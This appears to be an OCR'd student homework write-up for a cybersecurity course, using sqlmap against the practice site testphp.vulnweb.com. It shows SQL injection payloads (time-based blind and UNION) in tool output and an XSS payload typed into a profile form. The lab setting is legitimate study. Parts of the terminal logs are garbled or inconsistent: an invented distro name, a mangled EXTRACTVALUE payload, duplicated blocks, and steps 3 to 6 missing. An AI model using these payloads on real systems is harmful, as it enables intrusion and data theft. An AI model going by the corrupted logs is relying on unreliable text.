

II.2317 - Cybersecurity

Lecture - 5 Homework 1

On this page you can visualize or edit you user information.

Name:	<input type="text" value="(6012=6012)*0x726f6f747177773132333132"/>
Credit card number:	<input type="text" value="1234-5678-2300-9000"/>
E-Mail:	<input type="text" value="email@email.com"/>
Phone number:	<input type="text" value="2323345"/>
Address:	<input type="text" value="<script>prompt(1)"/>
<input type="button" value="update"/>	

GUO Xiaofan

Step 1: install the SQLMAP.

```
File Edit View Search Terminal Help
gxf@gxf-ThinkPad-X1-Nano-Gen-1: ~/sqlmap-dev
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~$ sudo apt update
[Info] password for gxf:
Get:1 http://security.ubuntu.com/ubuntu jenny-security InRelease [110 kB]
Hit:2 http://fr.archive.ubuntu.com/ubuntu jenny InRelease
Get:3 http://fr.archive.ubuntu.com/ubuntu jenny-updates InRelease [119 kB]
Hit:4 https://dl.google.com/linux/chrome/deb stable InRelease
Get:5 http://fr.archive.ubuntu.com/ubuntu jenny-backports InRelease [109 kB]
Get:6 http://security.ubuntu.com/ubuntu jenny-security/universe amd64 DEP-11 Metadata [43.0 kB]
Get:7 http://security.ubuntu.com/ubuntu jenny-security/universe amd64 DEP-11 Metadata [55.1 kB]
Get:8 http://fr.archive.ubuntu.com/ubuntu jenny-updates/main amd64 DEP-11 Metadata [151 kB]
Get:9 http://fr.archive.ubuntu.com/ubuntu jenny-updates/universe amd64 DEP-11 Metadata [105 kB]
Get:10 http://fr.archive.ubuntu.com/ubuntu jenny-updates/multiverse amd64 DEP-11 Metadata [948 B]
Get:11 http://fr.archive.ubuntu.com/ubuntu jenny-backports/main amd64 DEP-11 Metadata [1.936 B]
Get:12 http://fr.archive.ubuntu.com/ubuntu jenny-backports/universe amd64 DEP-11 Metadata [18.8 kB]
Fetched 866 kB in 1s (1.18 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
2 packages can be upgraded. Run apt list --upgradable to see them.
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~$ apt list --upgradable
Listing... Done
[Info] jenny-updates: 1.77.4-ubuntu22.04.1 amd64 [upgradable from: 1.77.2-ubuntu2]
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~$ sudo apt install git
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
git is already the newest version (1:2.34.1-ubuntu1.10).
0 upgraded, 0 newly installed, 0 to remove and 2 not-upgraded.
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap-dev
Cloning into 'sqlmap-dev'...
remote: Enumerating objects: 731, done.
remote: Compressing objects: 100% (731/731), done.
remote: total 731 (delta 231), reused 559 (delta 238), pack-reused 0
Receiving objects: 100% (731/731), 6.08 MiB | 4.52 MiB/s, done.
Resolving deltas: 100% (261/261), done.
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~$ cd sqlmap-dev
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ python sqlmap.py
Command 'python' not found, did you mean:
  Command 'python3' from deb python3
  Command 'python' from deb python-is-python3
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ python3 sqlmap.py
[Info] https://sqlmap.org
[Info] https://sqlmap.org
Usage: python3 sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (e.g. -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-targets or --dependencies). Use -h for basic and -Hh for advanced help
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ sqlmap -u http://testphp.vulnweb.com
bash: syntax error near unexpected token `http://testphp.vulnweb.com'
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ sqlmap -u http://testphp.vulnweb.com
bash: syntax error near unexpected token `http://testphp.vulnweb.com'
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ python3 sqlmap.py --version
Command 'python' not found, did you mean:
  Command 'python3' from deb python3
  Command 'python' from deb python-is-python3
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ python3 --version
Python 3.10.12
```

Step 2: Find the link.

```
File Edit View Search Terminal Help
gxf@gxf-ThinkPad-X1-Nano-Gen-1: ~/sqlmap-dev
[*] ending @ 14:58:31 /2023-11-11/
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$ python3 sqlmap.py -u "http://testphp.vulnweb.com" --forms --crawl=2
[Info] https://sqlmap.org
[Info] https://sqlmap.org
[!] Legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 14:58:40 /2023-11-11/
Do you want to check for the existence of site's sitemap.xml? [Y/n] n
[Info] [Y/n] starting crawler for target URL: http://testphp.vulnweb.com/
[14:58:50] [Info] searching for links with depth 1
[14:58:51] [Info] searching for links with depth 2
please enter number of threads [enter for 1 (current)] 10
[14:58:51] [Info] starting 10 threads
[14:58:52] [Info] 5/13 links visited (38%)
get a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow? [Y/n] y
do you want to normalize crawling results? [Y/n] y
do you want to store crawling results to a temporary file for eventual further processing with other tools [Y/n] n
[14:58:53] [Info] found a total of 2 errors
[Y/n] form:
POST http://testphp.vulnweb.com/search.php?test=query
POST data: searchforagoodtompson
do you want to test this form? [Y/n] q
Get POST data (default: searchforagoodtompson) (Warning: blank fields detected): 10
[14:58:53] [Info] creating back-end DBMS 'mysql'
[14:58:53] [Info] using '/home/gxf/.local/share/sqlmap/output/results-11112023_0259pm.csv' as the CSV results file in multiple targets mode
sqlmap resumed the following injection point(s) from stored session:
Parameters: test (GET)
Type: time-based blind
Title: MySQL 5.6.12 AND time-based blind (query SLEEP)
Payload: test-query' AND (SELECT 3532 FROM (SELECT(SLEEP(5)))UWys)-- xALt
Type: UNION query
Payload: test-query' UNION ALL SELECT NULL,CONCAT((EXTRACTVALUE(1,EXTRACTVALUE(3534806,616d070/4/44c5a0c/2512838/166590a0f355/16f6c/2/70b3361046007/66,8x/1/0/0a0/1),NULL))
do you want to exploit this SQL injection? [Y/n] y
[14:59:04] [Info] the back-end DBMS is MySQL
[Info] detecting system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] y
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/userinfo.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/ajax/showxml.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/guestbook.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/guestbook.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/showimage.php?file='
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/artists.php?artist=1'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/comment.php?id=1'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/hpp/?pp=12'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/listproducts.php?cat=1'
[14:59:06] [Info] you can find results of scanning in multiple targets mode inside the CSV file '/home/gxf/.local/share/sqlmap/output/results-11112023_0259pm.csv'
[*] ending @ 14:59:06 /2023-11-11/
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$
```

```
do you want to exploit this SQL injection? [Y/n] y
[14:59:04] [Info] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] y
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/userinfo.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/ajax/showxml.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/guestbook.php'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/showimage.php?file='
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/artists.php?artist=1'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/comment.php?id=1'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/hpp/?pp=12'
[14:59:06] [Info] skipping 'http://testphp.vulnweb.com/listproducts.php?cat=1'
[14:59:06] [Info] you can find results of scanning in multiple targets mode inside the CSV file '/home/gxf/.local/share/sqlmap/output/results-11112023_0259pm.csv'
[*] ending @ 14:59:06 /2023-11-11/
gxf@gxf-ThinkPad-X1-Nano-Gen-1:~/sqlmap-dev$
```


[illegible]

Step 7: Access the account.

If you are already registered please enter your login information below:

Username :	<input type="text" value="test"/>
Password :	<input type="password" value="...."/>
<input type="button" value="login"/>	

You can also [signup here](#).
Signup disabled. Please use the username **test** and the password **test**.

